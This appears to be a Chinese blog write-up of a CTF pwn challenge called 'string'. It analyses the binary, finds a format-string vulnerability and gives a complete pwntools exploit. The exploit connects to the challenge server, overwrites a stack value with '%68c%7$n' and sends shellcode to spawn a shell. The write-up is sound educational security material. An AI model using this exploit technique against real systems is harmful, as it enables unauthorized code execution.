string

题目描述:菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

题目附件: 附件1

 

 

file如下:

 

 64位ELF文件

checksec如下:

 

 IDE反汇编,查看main:

 

它打印出了v3的地址和v3[1]的地址 

查看sub_400996:

 

 查看sub_400D72:

 

 让输入一个长度小于等于12的字符串作为名字

查看sub_400A7D:

 

 然后让选择前进的方向,看起来只允许选择east

查看sub_4009DD:

 

 似乎这个函数会让角色疯狂做选择,迟早都是死

查看sub_400BB9:

 

 首先让做一个选择,进入还是离开,程序应该是让选择1进入

进入后可以输入一个地址,然后存在一个格式化字符串漏洞

查看sub_400CA6:

 

 如果a1[0]=a1[1],那么就可以执行一个shellcode,这就是我们的目标了

a1是由sub_400D72传入的,而sub_400D72中的a1又是main函数传入的v4,也就是v3的地址,所以比较的就是v3[0]和v3[1],初始v3[0]=68,v3[1]=85,这两个的地址程序又给我们已经打印了出来,我们就尝试利用sub_400BB9中的格式化字符串漏洞将v3[0]和v3[1]修改成相等的(改哪个都行)

通过调试,可以得知,输入的地址位于栈从顶向下的第二个:

 

 因此我们便可以在输入地址的时候输入v3[0]或者v3[1]的地址,然后printf时第7个位置就是我们的目标地址

exp如下:

from pwn import *

context.arch = 'amd64'

#io = process('./pwn')
io = connect('220.249.52.133', 34813)

p = b'.%x'*0x20

io.recvuntil('is ')
address1 = int(io.recvline().strip(), 16)
io.recvuntil('is ')
address2 = int(io.recvline().strip(), 16)
payload = b'%68c%7$n'
io.sendlineafter('be:', 'name')
io.sendlineafter('up?:', 'east')
io.sendlineafter('leave(0)?:', '1')
io.sendlineafter("address'", str(address2))
io.sendlineafter('is:', payload)
io.sendlineafter('SPELL', asm(shellcraft.amd64.linux.sh()))

io.interactive()

 

posted @ 2020-12-04 23:49  hktk1643  阅读(119)  评论(0编辑  收藏  举报